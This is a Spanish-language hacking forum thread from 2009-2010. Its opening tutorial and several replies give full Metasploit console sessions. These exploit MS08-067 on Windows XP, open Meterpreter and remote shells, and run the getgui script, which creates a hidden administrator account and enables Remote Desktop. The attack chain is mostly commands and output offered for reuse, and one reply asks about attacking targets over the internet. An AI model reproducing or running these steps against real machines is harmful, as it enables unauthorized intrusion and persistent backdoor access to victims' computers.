elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 17:31  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  [Metasploit] Habilitar Escritorio Remoto
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: [Metasploit] Habilitar Escritorio Remoto  (Leído 13,551 veces)
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
[Metasploit] Habilitar Escritorio Remoto
« en: 23 Diciembre 2009, 20:14 »

Habilitar Escritorio Remoto
[Metasploit By: Shell Root]


Una de las muchas herramientas que trae integrada el Metasploit aparte de la que ya hemos visto (keyylogger, Screenshot, Ver Escritorio Remoto ). Tambien podemos agregar un usuario y habilitar el escritorio remoto de la P.C Remota con tan solo una ejecucion de un comando. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
    * exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
    * windows/meterpreter/bind_tcp
    * windows/meterpreter/reverse_tcp

Código:

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 10 days hago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 10 days hago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/bind_tcp
[-] The value specified for PAYLOAD is not valid.
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:12995 -> 192.168.0.3:4444)

meterpreter >

Ahora que tenemos el Meterpreter ejecutamos el comando run getgui. Miremos que opciones tiene.
Código:
meterpreter > run getgui                
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or:    getgui -e

OPTIONS:

    -e        Enable RDP only.
    -h        Help menu.
    -p <opt>  The Password of the user to add.
    -u <opt>  The Username of the user to add.

meterpreter >

Ahora ingresamos los parametros necesarios para perfecta ejecución del exploit. Así:
Código:
meterpreter > run getgui -u Shell -p Root
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]     RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*]     The Terminal Services service is not set to auto, changing it to auto ...
[*]     Opening port in local firewall if necessary
[*] Setting user account for logon
[*]     Adding User: Shell with Password: Root
[*]     Adding User: Shell to local group Remote Desktop Users
[*]     Adding User: Shell to local group Administrators
[*] You can now login with the created user

Ahora ya tan solo nos queda conectarnos desde la Conexión a Escritorio remoto que trae integrado Windows.


By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/habilitar-escritorio-remoto.html
Video: http://www.youtube.com/watch?v=VKLNgMgVtvs
« Última modificación: 28 Diciembre 2009, 18:20 por alex19910218 » En línea

---
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.945


Actualizate o muere!


Ver Perfil WWW
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #1 en: 28 Diciembre 2009, 13:31 »

Estan muy interesantes tus tutoriales, haber si pones mas, de veras no habia visto ninguno asi, bien explicado con el ataque modelo y todo y en castellano.


Felicidades.

Saludos
En línea

S1dD3xt35

Desconectado Desconectado

Mensajes: 34


La respuesta esta siempre esta


Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #2 en: 7 Enero 2010, 21:27 »

orale genial esto resuelve muchas dudas gracias  ;-)
En línea
desporadico

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #3 en: 8 Enero 2010, 15:48 »

Estaría bien aclarar que sólo funciona en Windows XP SP1 y con el cortafuegos deshabilitado. Aún así, es una gran aportación, y se agradece el esfuerzo
En línea
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #4 en: 8 Enero 2010, 18:23 »

Estaría bien aclarar que sólo funciona en Windows XP SP1

Lo del Service Pack
Código:
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)

Lo del FireWall
Citar
Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 29 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 29 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.2
RHOST => 192.168.0.2
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

  • Started bind handler
  • Automatically detecting the target...
  • Fingerprint: Windows XP Service Pack 2 - lang:Spanish
  • Selected Target: Windows XP SP2 Spanish (NX)
  • Triggering the vulnerability...
  • Sending stage (723456 bytes)
  • Meterpreter session 1 opened (192.168.0.2:1947 -> 192.168.0.2:4444)

meterpreter > shell
Process 728 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net start
net start
Se han iniciado estos servicios de Windows:

   .....
   Firewall de Windows/Conexi¢n compartida a Internet (ICS)
   .....

Se ha completado el comando correctamente.


C:\WINDOWS\system32>

Saludos!
En línea

---
rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #5 en: 8 Enero 2010, 19:28 »

comprobado en SP2!!

saludos
En línea




Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #6 en: 8 Enero 2010, 19:32 »

De hecho si vemos los Targets del Exploit, podemos ver que estan SP1, SP2, SP3...

Código:
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (NX)
   4   Windows XP SP3 English (NX)
   5   Windows 2003 SP0 Universal
   6   Windows 2003 SP1 English (NO NX)
   7   Windows 2003 SP1 English (NX)
   8   Windows 2003 SP2 English (NO NX)
   9   Windows 2003 SP2 English (NX)
   10  Windows XP SP2 Arabic (NX)
   11  Windows XP SP2 Chinese - Traditional / Taiwan (NX)
   12  Windows XP SP2 Chinese - Simplified (NX)
   13  Windows XP SP2 Chinese - Traditional (NX)
   14  Windows XP SP2 Czech (NX)
   15  Windows XP SP2 Danish (NX)
   16  Windows XP SP2 German (NX)
   17  Windows XP SP2 Greek (NX)
   18  Windows XP SP2 Spanish (NX)
   19  Windows XP SP2 Finnish (NX)
   20  Windows XP SP2 French (NX)
   21  Windows XP SP2 Hebrew (NX)
   22  Windows XP SP2 Hungarian (NX)
   23  Windows XP SP2 Italian (NX)
   24  Windows XP SP2 Japanese (NX)
   25  Windows XP SP2 Korean (NX)
   26  Windows XP SP2 Dutch (NX)
   27  Windows XP SP2 Norwegian (NX)
   28  Windows XP SP2 Polish (NX)
   29  Windows XP SP2 Portuguese - Brazilian (NX)
   30  Windows XP SP2 Portuguese (NX)
   31  Windows XP SP2 Russian (NX)
   32  Windows XP SP2 Swedish (NX)
   33  Windows XP SP2 Turkish (NX)
   34  Windows XP SP3 Arabic (NX)
   35  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
   36  Windows XP SP3 Chinese - Simplified (NX)
   37  Windows XP SP3 Chinese - Traditional (NX)
   38  Windows XP SP3 Czech (NX)
   39  Windows XP SP3 Danish (NX)
   40  Windows XP SP3 German (NX)
   41  Windows XP SP3 Greek (NX)
   42  Windows XP SP3 Spanish (NX)
   43  Windows XP SP3 Finnish (NX)
   44  Windows XP SP3 French (NX)
   45  Windows XP SP3 Hebrew (NX)
   46  Windows XP SP3 Hungarian (NX)
   47  Windows XP SP3 Italian (NX)
   48  Windows XP SP3 Japanese (NX)
   49  Windows XP SP3 Korean (NX)
   50  Windows XP SP3 Dutch (NX)
   51  Windows XP SP3 Norwegian (NX)
   52  Windows XP SP3 Polish (NX)
   53  Windows XP SP3 Portuguese - Brazilian (NX)
   54  Windows XP SP3 Portuguese (NX)
   55  Windows XP SP3 Russian (NX)
   56  Windows XP SP3 Swedish (NX)
   57  Windows XP SP3 Turkish (NX)


msf exploit(ms08_067_netapi) >

Saludos!
En línea

---
trashhgoo

Desconectado Desconectado

Mensajes: 17


Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #7 en: 8 Enero 2010, 19:43 »

De hecho sirve para cualquiera, ya que no es más que una función de meterpreter, por lo que el sistema ya está explotado.
En línea
darklordsone

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #8 en: 10 Enero 2010, 01:08 »

He probado esto en local y me funciona, pero al hacer la prueba en WAN me rechaza la conexion el objetivo. ¿alguien me puede decir a que se debe?. Si sirve de informacion los escaneos que haago del host con el nmap me dan praacticamente nulos sin poder identificaar SO y todos los puertos apaarecen como filtrados.
En línea
b10s_0v3rr1d3

Desconectado Desconectado

Mensajes: 185

si puede hacerse debe hacerse


Ver Perfil WWW
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #9 en: 10 Enero 2010, 01:41 »


si el sistema al que intentas acceder tiene un firewall (comentas que los puertos estan filtrados), el puerto estara cerrado y no te dejara.
En línea
UB40

Desconectado Desconectado

Mensajes: 38



Ver Perfil WWW
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #10 en: 10 Enero 2010, 01:46 »



 buen aporte ah  ::) 



 salu2
En línea
desporadico

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #11 en: 10 Enero 2010, 18:49 »

Es cierto que funciona con todos los service packs de xp, pero no si el cortafuegos está habilitado. Eso estaría bien aclararlo
En línea
chatarrero

Desconectado Desconectado

Mensajes: 148



Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #12 en: 10 Enero 2010, 23:03 »

Muy interesante, gracias por la info.

Saludos
En línea
pUzzLe

Desconectado Desconectado

Mensajes: 41


todas las piezas encajan


Ver Perfil
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #13 en: 12 Enero 2010, 12:38 »

Muy bueno, gracias  ;)

No hay nada de esto para Windows Vista no?

Saludos.
En línea

Al que venciere, le daré que se siente conmigo en mi trono, así como yo he vencido, y me he sentado con mi Padre en su trono"  Apocalipsis 03:21
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [Metasploit] Habilitar Escritorio Remoto
« Respuesta #14 en: 12 Enero 2010, 17:51 »

Es cierto que funciona con todos los service packs de xp, pero no si el cortafuegos está habilitado. Eso estaría bien aclararlo
Si lees bien...  :silbar:

Lo del FireWall
Citar
Código:
               __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|

      =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 29 days hago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 29 days hago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.2
RHOST => 192.168.0.2
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

  • Started bind handler
  • Automatically detecting the target...
  • Fingerprint: Windows XP Service Pack 2 - lang:Spanish
  • Selected Target: Windows XP SP2 Spanish (NX)
  • Triggering the vulnerability...
  • Sending stage (723456 bytes)
  • Meterpreter session 1 opened (192.168.0.2:1947 -> 192.168.0.2:4444)

meterpreter > shell
Process 728 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net start
net start
Se han iniciado estos servicios de Windows:

   .....
  Firewall de Windows/Conexi¢n compartida a Internet (ICS)
   .....

Se ha completado el comando correctamente.


C:\WINDOWS\system32>

Saludos!

En línea

---
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines